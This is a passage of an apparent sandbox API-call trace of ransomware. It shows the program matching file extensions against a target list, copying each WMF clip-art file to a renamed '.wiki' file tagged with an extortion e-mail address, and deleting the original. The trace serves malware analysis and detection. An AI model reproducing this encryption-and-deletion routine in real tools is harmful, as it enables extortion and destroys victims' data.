(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.091] lstrlenW (lpString=".zip") returned 4 [0063.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.091] lstrlenW (lpString=".rar") returned 4 [0063.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString=".bz2") returned 4 [0063.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString=".7z") returned 3 [0063.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.092] lstrlenW (lpString=".dbf") returned 4 [0063.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.092] lstrlenW (lpString=".1cd") returned 4 [0063.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.092] lstrlenW (lpString=".jpg") returned 4 [0063.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.092] lstrlenW (lpString=".doc") returned 4 [0063.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString=".docx") returned 5 [0063.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.092] lstrlenW (lpString=".pdf") returned 4 [0063.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString=".xls") returned 4 [0063.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.092] lstrlenW (lpString=".xlsx") returned 5 [0063.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.092] lstrlenW (lpString=".ppt") returned 4 [0063.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.092] lstrlenW (lpString=".zip") returned 4 [0063.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.092] lstrlenW (lpString=".rar") returned 4 [0063.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.093] lstrlenW (lpString=".bz2") returned 4 [0063.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.093] lstrlenW (lpString=".7z") returned 3 [0063.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.093] lstrlenW (lpString=".dbf") returned 4 [0063.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.093] lstrlenW (lpString=".1cd") returned 4 [0063.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.093] lstrlenW (lpString=".jpg") returned 4 [0063.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.093] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.093] lstrlenW (lpString="BD00141_.WMF") returned 12 [0063.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.093] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=26886) returned 1 [0063.093] CloseHandle (hObject=0x1e8) returned 1 [0063.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0063.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.094] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.094] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.094] GetLastError () returned 0x0 [0063.094] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x6906, lpOverlapped=0x0) returned 1 [0063.098] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0063.099] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.099] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.099] SetEndOfFile (hFile=0x230) returned 1 [0063.099] CloseHandle (hObject=0x230) returned 1 [0063.099] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.099] SetEndOfFile (hFile=0x1e8) returned 1 [0063.100] CloseHandle (hObject=0x1e8) returned 1 [0063.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0063.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.100] lstrlenW (lpString=".doc") returned 4 [0063.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString=".docx") returned 5 [0063.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.101] lstrlenW (lpString=".pdf") returned 4 [0063.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString=".xls") returned 4 [0063.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.101] lstrlenW (lpString=".xlsx") returned 5 [0063.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.101] lstrlenW (lpString=".ppt") returned 4 [0063.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.101] lstrlenW (lpString=".zip") returned 4 [0063.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.101] lstrlenW (lpString=".rar") returned 4 [0063.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString=".bz2") returned 4 [0063.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString=".7z") returned 3 [0063.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.101] lstrlenW (lpString=".dbf") returned 4 [0063.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.101] lstrlenW (lpString=".1cd") returned 4 [0063.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.101] lstrlenW (lpString=".jpg") returned 4 [0063.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.101] lstrlenW (lpString=".doc") returned 4 [0063.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.101] lstrlenW (lpString=".docx") returned 5 [0063.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.102] lstrlenW (lpString=".pdf") returned 4 [0063.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.102] lstrlenW (lpString=".xls") returned 4 [0063.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.102] lstrlenW (lpString=".xlsx") returned 5 [0063.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.102] lstrlenW (lpString=".ppt") returned 4 [0063.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.102] lstrlenW (lpString=".zip") returned 4 [0063.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.102] lstrlenW (lpString=".rar") returned 4 [0063.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.102] lstrlenW (lpString=".bz2") returned 4 [0063.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.102] lstrlenW (lpString=".7z") returned 3 [0063.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.102] lstrlenW (lpString=".dbf") returned 4 [0063.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.102] lstrlenW (lpString=".1cd") returned 4 [0063.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0063.102] lstrlenW (lpString=".jpg") returned 4 [0063.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.102] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.102] lstrlenW (lpString="BD00146_.WMF") returned 12 [0063.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.103] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=28948) returned 1 [0063.103] CloseHandle (hObject=0x1e8) returned 1 [0063.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0063.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.103] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.103] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.103] GetLastError () returned 0x0 [0063.103] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x7114, lpOverlapped=0x0) returned 1 [0063.105] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7120, lpOverlapped=0x0) returned 1 [0063.108] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.108] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.108] SetEndOfFile (hFile=0x230) returned 1 [0063.108] CloseHandle (hObject=0x230) returned 1 [0063.109] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.109] SetEndOfFile (hFile=0x1e8) returned 1 [0063.109] CloseHandle (hObject=0x1e8) returned 1 [0063.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0063.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.110] lstrlenW (lpString=".doc") returned 4 [0063.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.110] lstrlenW (lpString=".docx") returned 5 [0063.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.110] lstrlenW (lpString=".pdf") returned 4 [0063.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.110] lstrlenW (lpString=".xls") returned 4 [0063.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.110] lstrlenW (lpString=".xlsx") returned 5 [0063.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.110] lstrlenW (lpString=".ppt") returned 4 [0063.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.110] lstrlenW (lpString=".zip") returned 4 [0063.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.110] lstrlenW (lpString=".rar") returned 4 [0063.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.110] lstrlenW (lpString=".bz2") returned 4 [0063.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.110] lstrlenW (lpString=".7z") returned 3 [0063.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString=".dbf") returned 4 [0063.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString=".1cd") returned 4 [0063.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString=".jpg") returned 4 [0063.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString=".doc") returned 4 [0063.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString=".docx") returned 5 [0063.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.111] lstrlenW (lpString=".pdf") returned 4 [0063.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString=".xls") returned 4 [0063.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.111] lstrlenW (lpString=".xlsx") returned 5 [0063.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.111] lstrlenW (lpString=".ppt") returned 4 [0063.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString=".zip") returned 4 [0063.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.111] lstrlenW (lpString=".rar") returned 4 [0063.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString=".bz2") returned 4 [0063.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.111] lstrlenW (lpString=".7z") returned 3 [0063.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.111] lstrlenW (lpString=".dbf") returned 4 [0063.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.112] lstrlenW (lpString=".1cd") returned 4 [0063.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0063.112] lstrlenW (lpString=".jpg") returned 4 [0063.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.112] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.112] lstrlenW (lpString="BD00155_.WMF") returned 12 [0063.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.112] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=11636) returned 1 [0063.112] CloseHandle (hObject=0x1e8) returned 1 [0063.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0063.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.112] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.113] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0063.413] GetLastError () returned 0x0 [0063.413] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0063.415] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0063.416] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.416] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.416] SetEndOfFile (hFile=0x22c) returned 1 [0063.416] CloseHandle (hObject=0x22c) returned 1 [0063.417] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.417] SetEndOfFile (hFile=0x1e8) returned 1 [0063.417] CloseHandle (hObject=0x1e8) returned 1 [0063.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0063.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.418] lstrlenW (lpString=".doc") returned 4 [0063.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.418] lstrlenW (lpString=".docx") returned 5 [0063.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.418] lstrlenW (lpString=".pdf") returned 4 [0063.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.418] lstrlenW (lpString=".xls") returned 4 [0063.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.418] lstrlenW (lpString=".xlsx") returned 5 [0063.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.418] lstrlenW (lpString=".ppt") returned 4 [0063.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.418] lstrlenW (lpString=".zip") returned 4 [0063.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.418] lstrlenW (lpString=".rar") returned 4 [0063.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.418] lstrlenW (lpString=".bz2") returned 4 [0063.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.418] lstrlenW (lpString=".7z") returned 3 [0063.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.418] lstrlenW 